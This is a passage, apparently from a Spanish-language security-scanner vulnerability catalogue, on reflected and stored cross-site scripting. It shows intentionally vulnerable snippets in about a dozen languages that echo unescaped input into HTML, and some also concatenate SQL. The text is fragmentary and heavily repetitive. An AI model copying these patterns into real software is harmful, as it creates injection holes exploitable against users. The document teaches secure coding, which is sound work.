, los datos se leen directamente de la solicitud HTTP y se reflejan en la respuesta HTTP. Los ataques XSS reflejados se producen cuando un usuario malintencionado hace que un usuario proporcione contenido peligroso a una aplicación web vulnerable, lo que se reflejará en el usuario y que el explorador web ejecutará. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL creadas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un usuario malintencionado convence a las víctimas para que visiten una dirección URL que hace referencia a un sitio vulnerable. Después de que el sitio refleja el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.
...
variable = Database.query('SELECT Name FROM Contact WHERE id = ID');
...
<div onclick="this.innerHTML='Hello {!variable}'">Click me!</div>
name
están definidos correctamente como caracteres alfanuméricos, pero no funciona para comprobar si hay datos malintencionados. Incluso al leer a partir de una base de datos, el valor debe validarse adecuadamente, porque el contenido de la base de datos puede originarse a partir de datos proporcionados por el usuario. De este modo, un atacante puede tener comandos malintencionados ejecutados en el explorador web del usuario sin tener que interactuar con la víctima, como en el caso de XSS reflejado. Este tipo de ataque, conocido como XSS almacenado (o persistente), puede ser muy difícil de detectar ya que los datos se proporcionan indirectamente a la función vulnerable y a que tiene un mayor impacto debido a la posibilidad de que afecte a varios usuarios. XSS tiene su inicio en este formulario con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.username
, y lo muestra al usuario.
<script>
document.write('{!$CurrentPage.parameters.username}')
</script>
username
contiene metacaracteres o código fuente, el explorador web lo ejecutará.Example 1
, la base de datos o cualquier otro almacén de datos puede proporcionar datos peligrosos a la aplicación que se incluirán en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el mejor lugar para almacenar contenido malintencionado es un área accesible a todos los usuarios, especialmente los que cuentan con privilegios elevados, que son los que con más probabilidad manejarán información confidencial o realizarán operaciones críticas.Example 2
, los datos se leen de la solicitud HTTP y se reflejan en la respuesta HTTP. El XSS reflejado se produce cuando un atacante proporciona contenido peligroso a una aplicación web vulnerable y después se refleja en el usuario y se ejecuta mediante el explorador. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a la víctima. Las direcciones URL diseñadas de esta forma son el núcleo de muchas tramas de suplantación de identidad, en las que un atacante tienta a la víctima para que visite la dirección URL. Después de que el sitio muestre el contenido al usuario, éste se ejecuta y puede realizar varias acciones, como enviar información confidencial privada, ejecutar operaciones no autorizadas en el equipo de la víctima, etc.
<script runat="server">
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = name;
</script>
EmployeeName
es un control de formulario definido como se indica a continuación:Ejemplo 2: El siguiente segmento de código de ASP .NET es equivalente desde una perspectiva funcional al
<form runat="server">
...
<asp:Label id="EmployeeName" runat="server">
...
</form>
Example 1
, pero implementa mediante programación todos los elementos de formulario.
protected System.Web.UI.WebControls.Label EmployeeName;
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = name;
name
tienen un comportamiento correcto, pero no funcionan para evitar ataques si no lo tienen. Este código puede parecer menos peligroso porque el valor de name
se lee desde una base de datos con contenido aparentemente administrado por la aplicación Sin embargo, si el valor de name
se origina desde los datos que administró el usuario, la base de datos puede ser conductora de contenido malintencionado. Sin la validación de entrada adecuada en todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos malintencionados en el explorador web del usuario. Este tipo de ataque, conocido como XSS persistente (o almacenado) es especialmente insidioso porque el direccionamiento indirecto causado por el almacén de datos hace que resulte más difícil identificar la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS tiene su inicio en este formulario con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.
<script runat="server">
...
EmployeeID.Text = Login.Text;
...
</script>
Login
y EmployeeID
son controles de formulario definidos de la siguiente forma:Ejemplo 4: El siguiente segmento de código de ASP.NET muestra el método de implementación mediante programación del
<form runat="server">
<asp:TextBox runat="server" id="Login"/>
...
<asp:Label runat="server" id="EmployeeID"/>
</form>
Example 3
.
protected System.Web.UI.WebControls.TextBox Login;
protected System.Web.UI.WebControls.Label EmployeeID;
...
EmployeeID.Text = Login.Text;
Example 1
y el Example 2
, estos ejemplos funcionan correctamente si Login
contiene solo texto alfanumérico estándar. Si Login
tiene un valor que incluye metacaracteres o código fuente, el explorador web ejecutará el código al tiempo que muestra la respuesta HTTP.Example 1
y el Example 2
, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Los ataques XSS persistentes se producen cuando un usuario malintencionado inserta contenido peligroso en un almacén de datos que se lee posteriormente y se incluye en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el lugar óptimo para insertar contenido malintencionado es un área que se muestra a muchos usuarios o a usuarios particularmente interesantes. Los usuarios interesantes normalmente disponen de privilegios elevados en la aplicación o interactúan con información confidencial y valiosa para el usuario malintencionado. Si uno de estos usuarios ejecuta contenido malintencionado, el usuario malintencionado puede realizar operaciones con privilegios en nombre del usuario o tener acceso a datos confidenciales de este.Example 3
y el Example 4
, los datos se leen directamente de la solicitud HTTP y se reflejan en la respuesta HTTP. Los ataques XSS reflejados se producen cuando un usuario malintencionado hace que un usuario proporcione contenido peligroso a una aplicación web vulnerable, lo que se reflejará en el usuario y que el explorador web ejecutará. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL creadas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un usuario malintencionado convence a las víctimas para que visiten una dirección URL que hace referencia a un sitio vulnerable. Después de que el sitio refleja el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.
...
EXEC SQL
SELECT NAME
INTO :ENAME
FROM EMPLOYEE
WHERE ID = :EID
END-EXEC.
EXEC CICS
WEB SEND
FROM(ENAME)
...
END-EXEC.
...
ENAME
tienen un comportamiento correcto, pero no funciona para evitar ataques si no lo tienen. De nuevo, este código puede parecer menos peligroso, ya que el valor de ENAME
se lee de una base de datos con contenido aparentemente administrado por la aplicación. Sin embargo, si el valor de ENAME
se origina desde los datos que administró el usuario, la base de datos puede ser conductora de contenido malintencionado. Sin la validación de entrada adecuada en todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos malintencionados en el explorador web del usuario. Este tipo de ataque, conocido como XSS almacenado, es especialmente insidioso porque el direccionamiento indirecto que causa el almacén de datos dificulta la identificación de la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS tiene su inicio en este formulario con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.EID
, a partir de un formulario HTML y lo muestra al usuario.
...
EXEC CICS
WEB READ
FORMFIELD(ID)
VALUE(EID)
...
END-EXEC.
EXEC CICS
WEB SEND
FROM(EID)
...
END-EXEC.
...
Example 1
, este código funciona correctamente si EID
contiene solo texto alfanumérico estándar. Si EID
tiene un valor que incluye metacaracteres o código fuente, el explorador web ejecutará el código al tiempo que muestra la respuesta HTTP.Example 1
, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Las explotaciones de XSS almacenado se producen cuando un atacante Example 2
, los datos se leen directamente del formulario HTML y se reflejan en la respuesta HTTP. Los ataques XSS reflejados se producen cuando un usuario malintencionado hace que un usuario proporcione contenido peligroso a una aplicación web vulnerable, lo que se reflejará en el usuario y que el explorador web ejecutará. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL creadas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un usuario malintencionado convence a las víctimas para que visiten una dirección URL que hace referencia a un sitio vulnerable. Después de que el sitio refleja el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.
<cfquery name="matchingEmployees" datasource="cfsnippets">
SELECT name
FROM Employees
WHERE eid = '#Form.eid#'
</cfquery>
<cfoutput>
Employee Name: #name#
</cfoutput>
name
tienen un comportamiento correcto, pero no funciona para evitar ataques si no lo tienen. Este código puede parecer menos peligroso porque el valor de name
se lee desde una base de datos con contenido aparentemente administrado por la aplicación Sin embargo, si el valor de name
se origina desde los datos que administró el usuario, la base de datos puede ser conductora de contenido malintencionado. Sin la validación de entrada adecuada en todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos malintencionados en el explorador web del usuario. Este tipo de ataque, conocido como XSS persistente (o almacenado) es especialmente insidioso porque el direccionamiento indirecto causado por el almacén de datos hace que resulte más difícil identificar la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS tiene su inicio en este formulario con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.eid
, de un formulario web y lo muestra al usuario.
<cfoutput>
Employee ID: #Form.eid#
</cfoutput>
Example 1
, este código funciona correctamente si Form.eid
contiene solo texto alfanumérico estándar. Si Form.eid
tiene un valor que incluye metacaracteres o código fuente, el explorador web ejecutará el código al tiempo que muestra la respuesta HTTP.Example 1
, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Los ataques XSS persistentes se producen cuando un usuario malintencionado inserta contenido peligroso en un almacén de datos que se lee posteriormente y se incluye en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el lugar óptimo para insertar contenido malintencionado es un área que se muestra a muchos usuarios o a usuarios particularmente interesantes. Los usuarios interesantes normalmente disponen de privilegios elevados en la aplicación o interactúan con información confidencial y valiosa para el usuario malintencionado. Si uno de estos usuarios ejecuta contenido malintencionado, el usuario malintencionado puede realizar operaciones con privilegios en nombre del usuario o tener acceso a datos confidenciales de este.Example 2
, los datos se leen directamente de la solicitud HTTP y se reflejan en la respuesta HTTP. Los ataques XSS reflejados se producen cuando un usuario malintencionado hace que un usuario proporcione contenido peligroso a una aplicación web vulnerable, lo que se reflejará en el usuario y que el explorador web ejecutará. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL creadas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un usuario malintencionado convence a las víctimas para que visiten una dirección URL que hace referencia a un sitio vulnerable. Después de que el sitio refleja el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.user
, de una solicitud HTTP y lo muestra al usuario.
func someHandler(w http.ResponseWriter, r *http.Request){
r.parseForm()
user := r.FormValue("user")
...
fmt.Fprintln(w, "Username is: ", user)
}
user
contiene solo texto alfanumérico estándar. Si user
tiene un valor que incluye metacaracteres o código fuente, el explorador web ejecutará el código al tiempo que muestra la respuesta HTTP.
func someHandler(w http.ResponseWriter, r *http.Request){
...
row := db.QueryRow("SELECT name FROM users WHERE id =" + userid)
err := row.Scan(&name)
...
fmt.Fprintln(w, "Username is: ", name)
}
Example 1
, este código funciona correctamente cuando los valores de name
presentan un comportamiento correcto, pero no funciona para evitar ataques si no lo presentan. De nuevo, este código puede parecer menos peligroso, ya que el valor de name
se lee de una base de datos con contenido aparentemente administrado por la aplicación. Sin embargo, si el valor de name
se origina desde los datos que administró el usuario, la base de datos puede ser conductora de contenido malintencionado. Sin la validación adecuada de las entradas de todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos malintencionados en el explorador web del usuario. Este tipo de ataque, conocido como XSS persistente (o almacenado) es especialmente insidioso, ya que el direccionamiento indirecto causado por el almacén de datos dificulta la identificación de la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS se inició de este modo con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.Example 1
, los datos se leen directamente de la solicitud HTTP y se reflejan en la respuesta HTTP. Los ataques XSS reflejados se producen cuando un atacante hace que un usuario proporcione contenido peligroso a una aplicación web vulnerable, que luego se refleja en el usuario y se ejecuta en el explorador web. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL creadas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un usuario malintencionado convence a las víctimas para que visiten una dirección URL que hace referencia a un sitio vulnerable. Después de que el sitio refleja el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.Example 2
, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Los ataques XSS persistentes se producen cuando un usuario malintencionado inserta contenido peligroso en un almacén de datos que se lee posteriormente y se incluye en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el lugar óptimo para insertar contenido malintencionado es un área que se muestra a muchos usuarios o a usuarios particularmente interesantes. Los usuarios interesantes normalmente disponen de privilegios elevados en la aplicación o interactúan con información confidencial y valiosa para el usuario malintencionado. Si uno de estos usuarios ejecuta contenido malintencionado, el atacante puede realizar operaciones con privilegios en nombre del usuario u obtener acceso a datos confidenciales del usuario.
<%...
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
}
%>
Employee Name: <%= name %>
name
tienen un comportamiento correcto, pero no funciona para evitar ataques si no lo tienen. Este código puede parecer menos peligroso porque el valor de name
se lee desde una base de datos con contenido aparentemente administrado por la aplicación Sin embargo, si el valor de name
se origina desde los datos que administró el usuario, la base de datos puede ser conductora de contenido malintencionado. Sin la validación de entrada adecuada en todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos malintencionados en el explorador web del usuario. Este tipo de ataque, conocido como XSS persistente (o almacenado) es especialmente insidioso porque el direccionamiento indirecto causado por el almacén de datos hace que resulte más difícil identificar la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS tiene su inicio en este formulario con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.eid
, a partir de una solicitud HTTP y lo muestra al usuario.
<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>
Example 1
, este código funciona correctamente si eid
contiene solo texto alfanumérico estándar. Si eid
tiene un valor que incluye metacaracteres o código fuente, el explorador web ejecuta el código al tiempo que muestra la respuesta HTTP.
...
WebView webview = (WebView) findViewById(R.id.webview);
webview.getSettings().setJavaScriptEnabled(true);
String url = this.getIntent().getExtras().getString("url");
webview.loadUrl(url);
...
url
comienza por javascript:
, el código JavaScript que sigue se ejecuta en el contexto de la página web dentro de WebView.Example 1
, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Los ataques XSS persistentes se producen cuando un usuario malintencionado inserta contenido peligroso en un almacén de datos que se lee posteriormente y se incluye en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el lugar óptimo para insertar contenido malintencionado es un área que se muestra a muchos usuarios o a usuarios particularmente interesantes. Los usuarios interesantes normalmente disponen de privilegios elevados en la aplicación o interactúan con información confidencial y valiosa para el usuario malintencionado. Si uno de estos usuarios ejecuta contenido malintencionado, el usuario malintencionado puede realizar operaciones con privilegios en nombre del usuario o tener acceso a datos confidenciales de este.Example 2
, los datos se leen directamente de la solicitud HTTP y se reflejan en la respuesta HTTP. Los ataques XSS reflejados se producen cuando un usuario malintencionado hace que un usuario proporcione contenido peligroso a una aplicación web vulnerable, lo que se reflejará en el usuario y que el explorador web ejecutará. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL creadas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un usuario malintencionado convence a las víctimas para que visiten una dirección URL que hace referencia a un sitio vulnerable. Después de que el sitio refleja el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.Example 3
, una fuente externa a la aplicación almacena datos peligrosos en una base de datos u otro almacén de datos y, posteriormente, la aplicación lee los datos peligrosos como datos de confianza y los incluye en el contenido dinámico.
var http = require('http');
...
function listener(request, response){
connection.query('SELECT * FROM emp WHERE eid="' + eid + '"', function(err, rows){
if (!err && rows.length > 0){
response.write('<p>Welcome, ' + rows[0].name + '!</p>');
}
...
});
...
}
...
http.createServer(listener).listen(8080);
name
tienen un comportamiento correcto, pero no funciona para evitar ataques si no lo tienen. Este código puede parecer menos peligroso porque el valor de name
se lee desde una base de datos con contenido aparentemente administrado por la aplicación Sin embargo, si el valor de name
se origina desde los datos que administró el usuario, la base de datos puede ser conductora de contenido malintencionado. Sin la validación de entrada adecuada en todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos malintencionados en el explorador web del usuario. Este tipo de ataque, conocido como XSS persistente (o almacenado) es especialmente insidioso porque el direccionamiento indirecto causado por el almacén de datos hace que resulte más difícil identificar la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS tiene su inicio en este formulario con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.eid
, a partir de una solicitud HTTP y lo muestra al usuario.
var http = require('http');
var url = require('url');
...
function listener(request, response){
var eid = url.parse(request.url, true)['query']['eid'];
if (eid !== undefined){
response.write('<p>Welcome, ' + eid + '!</p>');
}
...
}
...
http.createServer(listener).listen(8080);
Example 1
, este código funciona correctamente si eid
contiene solo texto alfanumérico estándar. Si eid
tiene un valor que incluye metacaracteres o código fuente, el explorador web ejecuta el código al tiempo que muestra la respuesta HTTP.Example 1
, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Los ataques XSS persistentes se producen cuando un usuario malintencionado inserta contenido peligroso en un almacén de datos que se lee posteriormente y se incluye en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el lugar óptimo para insertar contenido malintencionado es un área que se muestra a muchos usuarios o a usuarios particularmente interesantes. Los usuarios interesantes normalmente disponen de privilegios elevados en la aplicación o interactúan con información confidencial y valiosa para el usuario malintencionado. Si uno de estos usuarios ejecuta contenido malintencionado, el usuario malintencionado puede realizar operaciones con privilegios en nombre del usuario o tener acceso a datos confidenciales de este.Example 2
, los datos se leen directamente de la solicitud HTTP y se reflejan en la respuesta HTTP. Los ataques XSS reflejados se producen cuando un usuario malintencionado hace que un usuario proporcione contenido peligroso a una aplicación web vulnerable, lo que se reflejará en el usuario y que el explorador web ejecutará. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL creadas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un usuario malintencionado convence a las víctimas para que visiten una dirección URL que hace referencia a un sitio vulnerable. Después de que el sitio refleja el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.
...
val stmt: Statement = conn.createStatement()
val rs: ResultSet = stmt.executeQuery("select * from emp where id=$eid")
rs.next()
val name: String = rs.getString("name")
...
val out: ServletOutputStream = response.getOutputStream()
out.print("Employee Name: $name")
...
out.close()
...
name
tienen un comportamiento correcto, pero no funciona para evitar ataques si no lo tienen. Este código puede parecer menos peligroso porque el valor de name
se lee desde una base de datos con contenido aparentemente administrado por la aplicación Sin embargo, si el valor de name
se origina desde los datos que administró el usuario, la base de datos puede ser conductora de contenido malintencionado. Sin la validación de entrada adecuada en todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos malintencionados en el explorador web del usuario. Este tipo de ataque, conocido como XSS persistente (o almacenado) es especialmente insidioso porque el direccionamiento indirecto causado por el almacén de datos hace que resulte más difícil identificar la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS tiene su inicio en este formulario con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.eid
, desde una solicitud de servlet HTTP y, a continuación, muestra el valor al usuario en la respuesta del servlet.
val eid: String = request.getParameter("eid")
...
val out: ServletOutputStream = response.getOutputStream()
out.print("Employee ID: $eid")
...
out.close()
...
Example 1
, este código funciona correctamente si eid
contiene solo texto alfanumérico estándar. Si eid
tiene un valor que incluye metacaracteres o código fuente, el explorador web ejecuta el código al tiempo que muestra la respuesta HTTP.
...
val webview = findViewById<View>(R.id.webview) as WebView
webview.settings.javaScriptEnabled = true
val url = this.intent.extras!!.getString("url")
webview.loadUrl(url)
...
url
comienza por javascript:
, el código JavaScript que sigue se ejecuta en el contexto de la página web dentro de WebView.Example 1
, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Los ataques XSS persistentes se producen cuando un usuario malintencionado inserta contenido peligroso en un almacén de datos que se lee posteriormente y se incluye en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el lugar óptimo para insertar contenido malintencionado es un área que se muestra a muchos usuarios o a usuarios particularmente interesantes. Los usuarios interesantes normalmente disponen de privilegios elevados en la aplicación o interactúan con información confidencial y valiosa para el usuario malintencionado. Si uno de estos usuarios ejecuta contenido malintencionado, el usuario malintencionado puede realizar operaciones con privilegios en nombre del usuario o tener acceso a datos confidenciales de este.Example 2
, los datos se leen directamente de la solicitud HTTP y se reflejan en la respuesta HTTP. Los ataques XSS reflejados se producen cuando un usuario malintencionado hace que un usuario proporcione contenido peligroso a una aplicación web vulnerable, lo que se reflejará en el usuario y que el explorador web ejecutará. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL creadas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un usuario malintencionado convence a las víctimas para que visiten una dirección URL que hace referencia a un sitio vulnerable. Después de que el sitio refleja el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.Example 3
, una fuente externa a la aplicación almacena datos peligrosos en una base de datos u otro almacén de datos y, posteriormente, la aplicación lee los datos peligrosos como datos de confianza y los incluye en el contenido dinámico.name
tienen un comportamiento correcto, pero no funciona para evitar ataques si no lo tienen. De nuevo, este código puede parecer menos peligroso, ya que el valor de name
se lee de una base de datos con contenido aparentemente administrado por la aplicación. Sin embargo, si el valor de name
se origina desde los datos que administró el usuario, la base de datos puede ser conductora de contenido malintencionado. Sin la validación de entrada adecuada en todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos malintencionados en el explorador web del usuario. Este tipo de ataque, conocido como XSS persistente (o almacenado) es especialmente insidioso porque el direccionamiento indirecto causado por el almacén de datos hace que resulte más difícil identificar la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS tiene su inicio en este formulario con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.myapp://input_to_the_application
) y la invocó. Los datos no fiables de la dirección URL se utilizan para representar el resultado HTML en un componente de UIWebView.
...
- (BOOL)application:(UIApplication *)application handleOpenURL:(NSURL *)url {
UIWebView *webView;
NSString *partAfterSlashSlash = [[url host] stringByReplacingPercentEscapesUsingEncoding:NSUTF8StringEncoding];
webView = [[UIWebView alloc] initWithFrame:CGRectMake(0.0,0.0,360.0, 480.0)];
[webView loadHTMLString:partAfterSlashSlash baseURL:nil]
...
Example 1
, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Los ataques XSS persistentes se producen cuando un usuario malintencionado inserta contenido peligroso en un almacén de datos que se lee posteriormente y se incluye en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el lugar óptimo para insertar contenido malintencionado es un área que se muestra a muchos usuarios o a usuarios particularmente interesantes. Los usuarios interesantes normalmente disponen de privilegios elevados en la aplicación o interactúan con información confidencial y valiosa para el usuario malintencionado. Si uno de estos usuarios ejecuta contenido malintencionado, el usuario malintencionado puede realizar operaciones con privilegios en nombre del usuario o tener acceso a datos confidenciales de este.Example 2
, los datos se leen directamente desde un esquema de URL personalizado y se reflejan en el contenido de una respuesta de UIWebView. Los ataques XSS reflejados se producen cuando un usuario malintencionado hace que un usuario proporcione contenido peligroso a una aplicación de iOS vulnerable, lo que se reflejará en el usuario y que el navegador web ejecutará. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL de esquema personalizado que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL construidas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un intruso convence a las víctimas para que visiten una dirección URL que hace referencia a una aplicación vulnerable. Después de que la aplicación refleje el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.
<?php...
$con = mysql_connect($server,$user,$password);
...
$result = mysql_query("select * from emp where id="+eid);
$row = mysql_fetch_array($result)
echo 'Employee name: ', mysql_result($row,0,'name');
...
?>
name
tienen un comportamiento correcto, pero no funciona para evitar ataques si no lo tienen. Este código puede parecer menos peligroso porque el valor de name
se lee desde una base de datos con contenido aparentemente administrado por la aplicación Sin embargo, si el valor de name
se origina desde los datos que administró el usuario, la base de datos puede ser conductora de contenido malintencionado. Sin la validación de entrada adecuada en todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos malintencionados en el explorador web del usuario. Este tipo de ataque, conocido como XSS persistente (o almacenado) es especialmente insidioso porque el direccionamiento indirecto causado por el almacén de datos hace que resulte más difícil identificar la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS tiene su inicio en este formulario con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.eid
, desde una solicitud HTTP y la muestra al usuario.
<?php
$eid = $_GET['eid'];
...
?>
...
<?php
echo "Employee ID: $eid";
?>
Example 1
, este código funciona correctamente si eid
contiene solo texto alfanumérico estándar. Si eid
tiene un valor que incluye metacaracteres o código fuente, el explorador web ejecuta el código al tiempo que muestra la respuesta HTTP.Example 1
, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Los ataques XSS persistentes se producen cuando un usuario malintencionado inserta contenido peligroso en un almacén de datos que se lee posteriormente y se incluye en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el lugar óptimo para insertar contenido malintencionado es un área que se muestra a muchos usuarios o a usuarios particularmente interesantes. Los usuarios interesantes normalmente disponen de privilegios elevados en la aplicación o interactúan con información confidencial y valiosa para el usuario malintencionado. Si uno de estos usuarios ejecuta contenido malintencionado, el usuario malintencionado puede realizar operaciones con privilegios en nombre del usuario o tener acceso a datos confidenciales de este.Example 2
